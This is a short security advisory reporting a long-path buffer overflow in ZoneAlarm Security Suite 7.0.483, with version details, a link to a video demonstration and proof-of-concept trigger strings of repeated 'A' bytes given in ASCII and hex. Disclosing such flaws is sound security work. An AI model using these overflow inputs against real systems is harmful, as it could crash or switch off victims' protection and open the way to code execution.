ZoneAlarm Security Suite buffer overflow

 Application: ZoneAlarm Security Suite
OS: Windows Xp (All patches a day)
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1 - Description
2 - Vulnerability
3 - POC/EXPLOIT
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Description

The zonealarm is a known firewall,
which in the version "security suite" brings some tools as an antivirus, antispam and so on.

        
Details of the version

ZoneAlarm Security Suite versin:7.0.483.000
Versin de TrueVector:7.0.483.000
Versin del controlador:7.0.483.000
Versin de motor anti-virus:3
Versin de motor antivirus:5.0.1.85
Versin de archivo DAT de firma de anti-virus 915051681
Versin de motor de proteccin contra programas espa:5.0.189.0
Versin de archivo DAT de firma de proteccin contra programas espa 01.200801.3195
Versin de AntiSpam 5.0.6.8903


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Vulnerability

The vulnerability is caused because the program can not analyze very long paths.
This causes a buffer overflow with the possibility of execution of code.

The flaw could be exploited by malware to leave without protection to the system for instance.
        
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POC/EXPLOIT

        
Here you can view a video proof of concept

http://www.fileden.com/files/2008/9/11/2091525/zonealarm.swf


Strings


ASCII: &#183; &#65533;  AAAAAAAAAAAAAAAAAAA &#183; &#65533;  AAAAAAAAAAAAAAAAAAA &#183; &#65533;  AAAAAAAAAAAAAAAAAAA &#183; &#183; &#65533;  AAAAAAAAAAAAAAAAAAA &#183; &#65533;  AAAAAAAAAAAAAAAAAAA &#183; &#65533;  AAAAAAAAAAAAAAAAAAA &#183; &#183; &#65533;  A &#183; &#65533;  AAAAAAAAAAAAAAAAAAA &#183; &#65533;  AAAAAAAAAAAAAAAAAAA

HEX : b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 b7 20 85 20 20 41 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41


ASCII: &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&#65533;&#65533;&#65533;&#65533;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

HEX: 85 85 85 85 85 85 85 85 85 85 85 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 85 85 85 85 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41




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Juan Pablo Lopez Yacubian